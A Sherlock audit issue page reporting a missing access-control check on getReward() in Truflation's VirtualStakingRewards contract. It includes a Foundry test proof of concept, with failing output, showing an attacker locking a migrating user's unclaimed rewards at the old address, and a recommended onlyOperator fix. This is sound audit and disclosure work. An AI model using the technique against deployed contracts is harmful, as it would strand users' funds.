sherlock-audit / 2023-12-truflation-judging

4 stars 2 forks source link

IllIllI - Anyone can lock the unclaimed rewards of a migrating user #124

Closed sherlock-admin closed 10 months ago

sherlock-admin commented 10 months ago

IllIllI

medium

Anyone can lock the unclaimed rewards of a migrating user

Summary

The function for claiming rewards does not have access control, allowing an attacker to send funds to an address no longer under the control of the original recipient.

Vulnerability Detail

The TrufVesting contract, which manages the vesting of token ownership, has a function whose specific task is to allow users to migrate everything to a new address if they lose their private key. The function migrates a user's vesting schedule and escrow locks to a new address, but does not migrate the user's earned rewards (a separate bug). Once a user is in need of the function being called, it is not correct for more funds to be sent to that address. However, because the internal VirtualStakingRewards contract doesn't have any access control on its public getReward() function, anyone can call that function with the old address, doing just that.

An attacker can call the function either after the migration happens (because they monitor the blockchain for migrations), or before the migration occurs (the attacker overheard the victim asking a coworker for help on what to do now that they've lost their private key).

Even if there is no migration happening, someone can call getReward(), causing that person to receive funds at an inopportune time (e.g. tax implications).

Impact

Rewards that the user has already earned but has not yet claimed become locked in an address they no longer control, rather than being migratable or rescuable. Fixing the migration of unclaimed rewards in migrateUser() does not fix this bug.

This POC shows Alice attacking after the migration, but the attack can happen before the migration too:

diff --git a/truflation-contracts/test/token/VotingEscrowTruf.t.sol b/truflation-contracts/test/token/VotingEscrowTruf.t.sol
index bfdf771..3deabf8 100644
--- a/truflation-contracts/test/token/VotingEscrowTruf.t.sol
+++ b/truflation-contracts/test/token/VotingEscrowTruf.t.sol
@@ -531,6 +531,49 @@ contract VotingEscrowTrufTest is Test {
         _validateLockup(bob, 0, amount, duration, ends, points, true);
     }

+    function testMigrateVestingLockRewards() external {
+        console.log("Migrate vesting lock and its rewards to new user");
+
+        uint256 amount = 100e18;
+        uint256 duration = 30 days;
+        assertEq(trufToken.balanceOf(carol), 0, "Initial balance should be zero");
+        _stakeVesting(amount, duration, carol);
+
+        // distribute some rewards, and let some accrue
+        vm.startPrank(owner);
+        trufToken.transfer(address(trufStakingRewards), amount);
+        trufStakingRewards.notifyRewardAmount(amount);
+        vm.stopPrank();
+        vm.warp(block.timestamp + 10 days);
+
+        // migrate the lock
+        vm.startPrank(vesting);
+        veTRUF.migrateVestingLock(carol, bob, 0);
+        vm.stopPrank();
+
+        uint256 rewards = trufStakingRewards.rewards(carol);
+        assertEq(rewards, 0, "Old address shouldn't have any rewards");
+
+        // Alice was watching, and locks the rewards at the old address
+        vm.prank(alice);
+        trufStakingRewards.getReward(carol);
+        assertEq(trufToken.balanceOf(carol), 0, "Rewards should be transferred to new user");
+
+        /**
+        [FAIL. Reason: assertion failed] testMigrateVestingLockRewards() (gas: 646896)
+        Logs:
+          Migrate vesting lock and its rewards to new user
+          Error: Old address shouldn't have any rewards
+          Error: a == b not satisfied [uint]
+                Left: 299999999999999375997
+               Right: 0
+          Error: Rewards should be transferred to new user
+          Error: a == b not satisfied [uint]
+                Left: 299999999999999375997
+               Right: 0
+         */
+    }
+
     function testMigrateVestingLockFailures() external {
         _stakeVesting(100e18, 30 days, alice);
         _stake(100e18, 30 days, alice, alice);

Code Snippet

Unlike the other functions, there is no onlyOperator modifier, and the user acted upon is not required to be msg.sender:

// File: src/staking/VirtualStakingRewards.sol : VirtualStakingRewards.getReward()   #1

126 @>     function getReward(address user) public updateReward(user) returns (uint256 reward) {
127            reward = rewards[user];
128            if (reward != 0) {
129                rewards[user] = 0;
130 @>             IERC20(rewardsToken).safeTransfer(user, reward);
131                emit RewardPaid(user, reward);
132            }
133:       }

https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/staking/VirtualStakingRewards.sol#L126-L133

Tool used

Manual Review

Recommendation

Add the onlyOperator modifier, so the only way to get rewards is via VotingEscrowTruf.claimReward()

mstpr commented 9 months ago

@ryuheimat Fix in #80 covers this aswell, LGTM.